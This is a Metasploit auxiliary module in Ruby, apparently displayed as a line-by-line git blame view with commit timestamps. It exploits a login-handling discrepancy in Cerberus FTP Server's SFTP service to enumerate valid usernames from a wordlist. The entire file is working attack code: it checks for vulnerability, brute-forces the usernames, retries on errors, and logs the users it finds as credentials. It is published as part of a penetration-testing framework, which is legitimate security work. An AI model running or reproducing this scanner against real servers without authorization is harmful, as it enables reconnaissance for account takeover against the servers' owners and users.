2014-06-30 16:53:46 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-06-30 16:53:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'net/ssh'
|
|
|
|
|
2016-03-07 19:19:55 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2014-06-30 16:53:46 +00:00
|
|
|
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Cerberus FTP Server SFTP Username Enumeration',
|
|
|
|
'Description' => %q{
|
|
|
|
This module uses a dictionary to brute force valid usernames from
|
|
|
|
Cerberus FTP server via SFTP. This issue affects all versions of
|
|
|
|
the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
|
|
|
|
in the way the SSH service handles failed logins for valid and invalid
|
|
|
|
users. This issue was discovered by Steve Embling.
|
|
|
|
},
|
2014-06-30 17:17:49 +00:00
|
|
|
'Author' => [
|
|
|
|
'Steve Embling', # Discovery
|
2014-07-11 17:45:23 +00:00
|
|
|
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
|
2014-06-30 17:17:49 +00:00
|
|
|
],
|
2014-06-30 16:53:46 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2014-06-30 17:17:49 +00:00
|
|
|
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ],
|
2014-06-30 16:53:46 +00:00
|
|
|
[ 'BID', '67707']
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'DisclosureDate' => 'May 27 2014'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2014-10-21 20:39:24 +00:00
|
|
|
Opt::Proxies,
|
2014-06-30 16:53:46 +00:00
|
|
|
Opt::RPORT(22),
|
2014-06-30 17:17:49 +00:00
|
|
|
OptPath.new(
|
|
|
|
'USER_FILE',
|
|
|
|
[true, 'Files containing usernames, one per line', nil])
|
2014-06-30 16:53:46 +00:00
|
|
|
], self.class
|
|
|
|
)
|
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
2014-06-30 17:17:49 +00:00
|
|
|
OptInt.new(
|
|
|
|
'RETRY_NUM',
|
|
|
|
[true , 'The number of attempts to connect to a SSH server for each user', 3]),
|
|
|
|
OptInt.new(
|
|
|
|
'SSH_TIMEOUT',
|
|
|
|
[true, 'Specify the maximum time to negotiate a SSH session', 10]),
|
|
|
|
OptBool.new(
|
|
|
|
'SSH_DEBUG',
|
|
|
|
[true, 'Enable SSH debugging output (Extreme verbosity!)', false])
|
2014-06-30 16:53:46 +00:00
|
|
|
]
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def rport
|
|
|
|
datastore['RPORT']
|
|
|
|
end
|
|
|
|
|
|
|
|
def retry_num
|
|
|
|
datastore['RETRY_NUM']
|
|
|
|
end
|
|
|
|
|
|
|
|
def check_vulnerable(ip)
|
|
|
|
options = {
|
2014-06-30 17:56:30 +00:00
|
|
|
:port => rport,
|
|
|
|
:auth_methods => ['password', 'keyboard-interactive'],
|
|
|
|
:msframework => framework,
|
|
|
|
:msfmodule => self,
|
|
|
|
:disable_agent => true,
|
|
|
|
:config => false,
|
|
|
|
:proxies => datastore['Proxies']
|
2014-06-30 16:53:46 +00:00
|
|
|
}
|
|
|
|
|
2014-06-30 17:56:30 +00:00
|
|
|
begin
|
|
|
|
transport = Net::SSH::Transport::Session.new(ip, options)
|
2014-11-11 20:59:41 +00:00
|
|
|
rescue Rex::ConnectionError
|
2014-06-30 17:56:30 +00:00
|
|
|
return :connection_error
|
|
|
|
end
|
|
|
|
|
|
|
|
auth = Net::SSH::Authentication::Session.new(transport, options)
|
|
|
|
auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))
|
2014-06-30 16:53:46 +00:00
|
|
|
auth_method = auth.allowed_auth_methods.join('|')
|
2014-06-30 17:56:30 +00:00
|
|
|
print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
|
2014-06-30 16:53:46 +00:00
|
|
|
report_service(
|
|
|
|
:host => ip,
|
|
|
|
:port => rport,
|
|
|
|
:name => "ssh",
|
|
|
|
:proto => "tcp",
|
|
|
|
:info => auth.transport.server_version.version
|
|
|
|
)
|
|
|
|
|
2014-06-30 17:56:30 +00:00
|
|
|
if auth_method.empty?
|
|
|
|
:vulnerable
|
|
|
|
else
|
|
|
|
:safe
|
2014-06-30 16:53:46 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def check_user(ip, user, port)
|
2014-06-30 17:56:30 +00:00
|
|
|
pass = Rex::Text.rand_text_alphanumeric(8)
|
2014-06-30 16:53:46 +00:00
|
|
|
|
|
|
|
opt_hash = {
|
|
|
|
:auth_methods => ['password', 'keyboard-interactive'],
|
|
|
|
:msframework => framework,
|
|
|
|
:msfmodule => self,
|
|
|
|
:port => port,
|
|
|
|
:disable_agent => true,
|
|
|
|
:config => false,
|
|
|
|
:proxies => datastore['Proxies']
|
|
|
|
}
|
|
|
|
|
|
|
|
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
|
|
|
transport = Net::SSH::Transport::Session.new(ip, opt_hash)
|
|
|
|
auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
|
|
|
|
|
|
|
|
begin
|
|
|
|
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
2014-06-30 17:17:49 +00:00
|
|
|
auth.authenticate("ssh-connection", user, pass)
|
|
|
|
auth_method = auth.allowed_auth_methods.join('|')
|
|
|
|
if auth_method != ''
|
|
|
|
:success
|
|
|
|
else
|
|
|
|
:fail
|
|
|
|
end
|
2014-06-30 16:53:46 +00:00
|
|
|
end
|
2014-11-11 20:59:41 +00:00
|
|
|
rescue Rex::ConnectionError
|
2014-06-30 16:53:46 +00:00
|
|
|
return :connection_error
|
|
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
|
|
|
return :success
|
|
|
|
rescue ::Timeout::Error
|
2014-06-30 17:56:30 +00:00
|
|
|
return :connection_error
|
2014-06-30 16:53:46 +00:00
|
|
|
end
|
2014-06-30 17:17:49 +00:00
|
|
|
end
|
2014-06-30 16:53:46 +00:00
|
|
|
|
|
|
|
def do_report(ip, user, port)
|
2015-07-29 19:31:35 +00:00
|
|
|
service_data = {
|
|
|
|
address: ip,
|
|
|
|
port: rport,
|
|
|
|
service_name: 'ssh',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: fullname,
|
|
|
|
username: user,
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
2014-06-30 16:53:46 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def peer(rhost=nil)
|
|
|
|
"#{rhost}:#{rport} SSH -"
|
|
|
|
end
|
|
|
|
|
|
|
|
def user_list
|
2014-06-30 17:56:30 +00:00
|
|
|
users = nil
|
2014-06-30 16:53:46 +00:00
|
|
|
if File.readable? datastore['USER_FILE']
|
2014-06-30 17:56:30 +00:00
|
|
|
users = File.new(datastore['USER_FILE']).read.split
|
|
|
|
users.each {|u| u.downcase!}
|
|
|
|
users.uniq!
|
2014-06-30 16:53:46 +00:00
|
|
|
else
|
|
|
|
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
|
|
|
|
end
|
2014-06-30 17:56:30 +00:00
|
|
|
|
|
|
|
users
|
2014-06-30 16:53:46 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def attempt_user(user, ip)
|
|
|
|
attempt_num = 0
|
|
|
|
ret = nil
|
|
|
|
|
2014-06-30 17:17:49 +00:00
|
|
|
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
|
2014-06-30 16:53:46 +00:00
|
|
|
if attempt_num > 0
|
|
|
|
Rex.sleep(2 ** attempt_num)
|
2015-04-21 16:14:03 +00:00
|
|
|
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
|
2014-06-30 16:53:46 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
ret = check_user(ip, user, rport)
|
|
|
|
attempt_num += 1
|
|
|
|
end
|
|
|
|
|
|
|
|
ret
|
|
|
|
end
|
|
|
|
|
|
|
|
def show_result(attempt_result, user, ip)
|
|
|
|
case attempt_result
|
|
|
|
when :success
|
|
|
|
print_good "#{peer(ip)} User '#{user}' found"
|
|
|
|
do_report(ip, user, rport)
|
|
|
|
when :connection_error
|
2014-06-30 17:17:49 +00:00
|
|
|
print_error "#{peer(ip)} User '#{user}' could not connect"
|
2014-06-30 16:53:46 +00:00
|
|
|
when :fail
|
2014-06-30 17:56:30 +00:00
|
|
|
vprint_status "#{peer(ip)} User '#{user}' not found"
|
2014-06-30 17:17:49 +00:00
|
|
|
end
|
2014-06-30 16:53:46 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
print_status "#{peer(ip)} Checking for vulnerability"
|
2014-06-30 17:56:30 +00:00
|
|
|
case check_vulnerable(ip)
|
|
|
|
when :vulnerable
|
|
|
|
print_good "#{peer(ip)} Vulnerable"
|
2014-06-30 16:53:46 +00:00
|
|
|
print_status "#{peer(ip)} Starting scan"
|
2014-06-30 17:17:49 +00:00
|
|
|
user_list.each do |user|
|
|
|
|
show_result(attempt_user(user, ip), user, ip)
|
|
|
|
end
|
2014-06-30 17:56:30 +00:00
|
|
|
when :safe
|
|
|
|
print_error "#{peer(ip)} Not vulnerable"
|
|
|
|
when :connection_error
|
|
|
|
print_error "#{peer(ip)} Connection failed"
|
2014-06-30 16:53:46 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2014-06-30 17:17:49 +00:00
|
|
|
|